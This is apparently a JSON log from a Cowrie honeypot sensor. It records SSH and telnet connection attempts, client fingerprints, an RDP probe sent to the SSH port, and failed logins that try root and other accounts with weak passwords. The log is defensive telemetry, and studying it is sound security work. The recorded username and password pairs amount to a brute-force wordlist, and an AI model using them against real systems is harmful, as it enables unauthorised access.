{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:27.721585Z","src_ip":"43.173.125.185","session":"011a2bce6191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master@123","message":"login attempt [root/master@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:28.028704Z","src_ip":"43.173.125.185","session":"011a2bce6191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:29.100304Z","src_ip":"43.173.125.185","session":"011a2bce6191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":35372,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dd549871369","protocol":"ssh","message":"New connection: 103.91.246.101:35372 (159.203.135.109:22) [session: 9dd549871369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:29.433550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:29.438443Z","src_ip":"103.91.246.101","session":"9dd549871369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:29.667076Z","src_ip":"103.91.246.101","session":"9dd549871369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":48986,"dst_ip":"159.203.135.109","dst_port":22,"session":"550024a9f946","protocol":"ssh","message":"New connection: 171.244.141.86:48986 (159.203.135.109:22) [session: 550024a9f946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:30.419152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:30.422863Z","src_ip":"171.244.141.86","session":"550024a9f946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0n1g@2016","message":"login attempt [root/k0n1g@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:30.608455Z","src_ip":"103.91.246.101","session":"9dd549871369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:30.674387Z","src_ip":"171.244.141.86","session":"550024a9f946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd123456","message":"login attempt [root/Dd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:31.712821Z","src_ip":"171.244.141.86","session":"550024a9f946","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:31.835995Z","src_ip":"103.91.246.101","session":"9dd549871369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:32.967363Z","src_ip":"171.244.141.86","session":"550024a9f946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":36692,"dst_ip":"159.203.135.109","dst_port":22,"session":"41de399f70eb","protocol":"ssh","message":"New connection: 103.195.236.96:36692 (159.203.135.109:22) [session: 41de399f70eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:51.676376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:51.680805Z","src_ip":"103.195.236.96","session":"41de399f70eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:51.921894Z","src_ip":"103.195.236.96","session":"41de399f70eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s","message":"login attempt [root/s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:52.654015Z","src_ip":"103.195.236.96","session":"41de399f70eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:53.896123Z","src_ip":"103.195.236.96","session":"41de399f70eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54784,"dst_ip":"10.17.0.5","dst_port":23,"session":"30b7d59100b7","protocol":"telnet","message":"New connection: 192.119.13.58:54784 (10.17.0.5:23) [session: 30b7d59100b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:54.734186Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":46400,"dst_ip":"159.203.135.109","dst_port":22,"session":"40245f12c134","protocol":"ssh","message":"New connection: 170.106.188.200:46400 (159.203.135.109:22) [session: 40245f12c134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:54.813589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:54.818228Z","src_ip":"170.106.188.200","session":"40245f12c134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:54.886318Z","src_ip":"170.106.188.200","session":"40245f12c134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www.baidu.com","message":"login attempt [root/www.baidu.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:55.191608Z","src_ip":"170.106.188.200","session":"40245f12c134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:17:56.264027Z","src_ip":"170.106.188.200","session":"40245f12c134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":38192,"dst_ip":"159.203.135.109","dst_port":22,"session":"a147c2c63fc1","protocol":"ssh","message":"New connection: 43.173.125.185:38192 (159.203.135.109:22) [session: a147c2c63fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:06.044607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:06.050711Z","src_ip":"43.173.125.185","session":"a147c2c63fc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:06.122222Z","src_ip":"43.173.125.185","session":"a147c2c63fc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"123456","message":"login attempt [sysadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:06.424239Z","src_ip":"43.173.125.185","session":"a147c2c63fc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:07.496484Z","src_ip":"43.173.125.185","session":"a147c2c63fc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63900,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5e9aa1f83e5","protocol":"ssh","message":"New connection: 167.172.81.52:63900 (10.17.0.5:22) [session: f5e9aa1f83e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:10.546172Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:10.562347Z","src_ip":"167.172.81.52","session":"f5e9aa1f83e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:10.566904Z","src_ip":"167.172.81.52","session":"f5e9aa1f83e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.17614531517029,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:28.910202Z","src_ip":"192.119.13.58","session":"30b7d59100b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":45694,"dst_ip":"159.203.135.109","dst_port":22,"session":"9758b7f679af","protocol":"ssh","message":"New connection: 43.173.125.185:45694 (159.203.135.109:22) [session: 9758b7f679af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:44.546309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:44.551293Z","src_ip":"43.173.125.185","session":"9758b7f679af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:44.619584Z","src_ip":"43.173.125.185","session":"9758b7f679af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw23edc","message":"login attempt [root/1qazxsw23edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:44.923559Z","src_ip":"43.173.125.185","session":"9758b7f679af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":56570,"dst_ip":"159.203.135.109","dst_port":22,"session":"44ab4b0421e3","protocol":"ssh","message":"New connection: 103.91.246.101:56570 (159.203.135.109:22) [session: 44ab4b0421e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:45.377083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:45.382078Z","src_ip":"103.91.246.101","session":"44ab4b0421e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:45.608946Z","src_ip":"103.91.246.101","session":"44ab4b0421e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:45.995185Z","src_ip":"43.173.125.185","session":"9758b7f679af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranjeet","message":"login attempt [root/ranjeet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:46.544570Z","src_ip":"103.91.246.101","session":"44ab4b0421e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:47.777130Z","src_ip":"103.91.246.101","session":"44ab4b0421e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":35524,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc21ed349a0f","protocol":"ssh","message":"New connection: 103.15.222.183:35524 (159.203.135.109:22) [session: dc21ed349a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:53.802497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:18:53.807150Z","src_ip":"103.15.222.183","session":"dc21ed349a0f","protocol":"ssh"}
